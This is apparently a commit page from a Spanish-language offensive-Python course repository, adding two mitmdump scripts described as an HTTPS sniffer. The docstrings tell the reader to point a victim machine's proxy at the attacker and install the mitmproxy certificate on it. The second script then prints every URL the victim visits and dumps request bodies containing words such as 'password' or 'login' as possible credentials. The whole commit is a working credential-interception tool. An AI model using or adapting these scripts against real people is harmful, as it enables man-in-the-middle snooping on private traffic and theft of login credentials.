Add https sniffers with mitmdump
This commit is contained in:
parent
4abbfdf261
commit
ace46c757a
28
python-ofensivo/15_hacking/04_https_sniffer_mitmdump_01.py
Normal file
28
python-ofensivo/15_hacking/04_https_sniffer_mitmdump_01.py
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
# /usr/bin/env python3
|
||||||
|
"""
|
||||||
|
HTTPS sniffer - MITM Proxy
|
||||||
|
|
||||||
|
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
|
||||||
|
2. Ejecutar binario mitmweb o mitmproxy.
|
||||||
|
3. Configurar el proxy en la máquina víctima. (IP:8080)
|
||||||
|
4. Comprobar en la url mitm.it desde la máquina de la victima que
|
||||||
|
ya puedes descargar el certificado
|
||||||
|
5. Instalar el certificado en la máquina de la víctima
|
||||||
|
6. Observar el tráfico en la máquina del atacante
|
||||||
|
7. Ejecutar el script con el binario mitmdump con la opción -s para
|
||||||
|
indicar el script a ejecutar y personalizar la recogida de información
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
from mitmproxy import http
|
||||||
|
from mitmproxy import ctx
|
||||||
|
|
||||||
|
|
||||||
|
def request(packet):
|
||||||
|
|
||||||
|
ctx.log.info(f"\n\n[+] URL: {packet.request.url}\n\n")
|
||||||
|
|
||||||
|
|
||||||
|
def response(packet):
|
||||||
|
|
||||||
|
ctx.log.info(f"\n\n[+] Response: {packet.request.url}\n\n")
|
60
python-ofensivo/15_hacking/04_https_sniffer_mitmdump_02.py
Normal file
60
python-ofensivo/15_hacking/04_https_sniffer_mitmdump_02.py
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
# /usr/bin/env python3
|
||||||
|
"""
|
||||||
|
HTTPS sniffer - MITM Proxy
|
||||||
|
|
||||||
|
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
|
||||||
|
2. Ejecutar binario mitmweb o mitmproxy.
|
||||||
|
3. Configurar el proxy en la máquina víctima. (IP:8080)
|
||||||
|
4. Comprobar en la url mitm.it desde la máquina de la victima que
|
||||||
|
ya puedes descargar el certificado
|
||||||
|
5. Instalar el certificado en la máquina de la víctima
|
||||||
|
6. Observar el tráfico en la máquina del atacante
|
||||||
|
7. Ejecutar el script con el binario mitmdump con la opción -s para
|
||||||
|
indicar el script a ejecutar y personalizar la recogida de información
|
||||||
|
|
||||||
|
También se puede lanzar desde docker: https://hub.docker.com/r/mitmproxy/mitmproxy/
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
from mitmproxy import http
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
def has_keywords(data, keywords):
|
||||||
|
"""
|
||||||
|
Esta función comprueba si en la petición se encuentran las palabras
|
||||||
|
clave que nos interesan
|
||||||
|
"""
|
||||||
|
|
||||||
|
return any(keyword in data for keyword in keywords)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def request(packet):
|
||||||
|
"""
|
||||||
|
Esta función se ejecuta cada vez que se realiza una petición
|
||||||
|
"""
|
||||||
|
|
||||||
|
url = packet.request.url
|
||||||
|
|
||||||
|
parsed_url = urlparse(url)
|
||||||
|
|
||||||
|
scheme = parsed_url.scheme
|
||||||
|
|
||||||
|
domain = parsed_url.netloc
|
||||||
|
|
||||||
|
path = parsed_url.path
|
||||||
|
|
||||||
|
print(f"\n\nURL visitada por la víctima: {scheme}://{domain}{path}")
|
||||||
|
|
||||||
|
keywords = [
|
||||||
|
"login", "signin", "logon",
|
||||||
|
"password", "pass", "passwd",
|
||||||
|
"user", "username"
|
||||||
|
]
|
||||||
|
|
||||||
|
data = packet.request.get_text()
|
||||||
|
|
||||||
|
if has_keywords(data, keywords):
|
||||||
|
|
||||||
|
print(f"\n\nPosible credencial:\n\n{data}\n\n")
|
Loading…
Reference in New Issue
Block a user